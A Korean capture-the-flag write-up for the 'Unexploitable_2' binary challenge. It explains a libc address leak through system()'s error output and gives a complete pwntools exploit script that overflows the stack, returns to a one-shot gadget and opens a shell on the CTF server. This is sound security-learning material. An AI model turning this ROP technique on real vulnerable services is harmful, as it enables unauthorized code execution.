이렇게 되어있다. 보호기법은 NX 정도?
leak 하기 위해서는 fwrite 함수를 사용해야한다.
fgets 함수를 실행하고 return할 때, 스택상태이다. rdi, rsi, rdx, rcx 값을 확인해보면,
rcx 에 stdout 포인터가 남아있지않다. 컨트롤할 수 있는 레지스터는 rdi, rsi 정도인데 흠...
근데 system 함수가 주어져있기에, system 함수로 leak 을 할 수 있다.
system함수에 잘못된 명령어가 들어가면, 그 명령어를 출력해주는데,
got 주소를 인자로 system 함수를 호출하면, got 주소가 출력될 것이다.
위처럼 페이로드를 짜면 저렇게 출력이 된당.
leak 한다음 원샷가젯을 호출하자.
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
|
from pwn import *
#
r=remote("ctf.j0n9hyun.xyz" ,3029)
# r=process("./Unexploitable_2")
b=ELF("./Unexploitable_2")
context.log_level='debug'
prdi=0x400773
pay=b'x'*0x18
pay+=p64(prdi)
pay+=p64(b.got['__libc_start_main'])
pay+=p64(b.plt['system'])
pay+=p64(b.sym['main'])
r.sendlineafter("\n",pay)
r.recvuntil("sh: 1: ")
base=u64(r.recv(6)+b'\x00\x00')-0x020740
binsh=0x18c58b+base
log.info(hex(base))
oneshot=base+0x45216 #0xf1147 #0x4526a #, 0xf02a4,
pay2=b'x'*0x18
pay2+=p64(oneshot)
r.sendlineafter("\n",pay2)
r.interactive()
|
cs |
원래 처음 페이로드 짤 때, p64(b.plt['system']) 위에 p64(prdi+1) (=> ret 가젯, 스택+8 해서 정렬) 를
붙여주었는데, 로되리안에 걸렸다. (나는 18.04 여서 되고, 서버는 아마 16 버전이여서 안됐던 것같다.)
그래서 p64(prdi+1) 을 없애고 했더니 바로 되더라 ;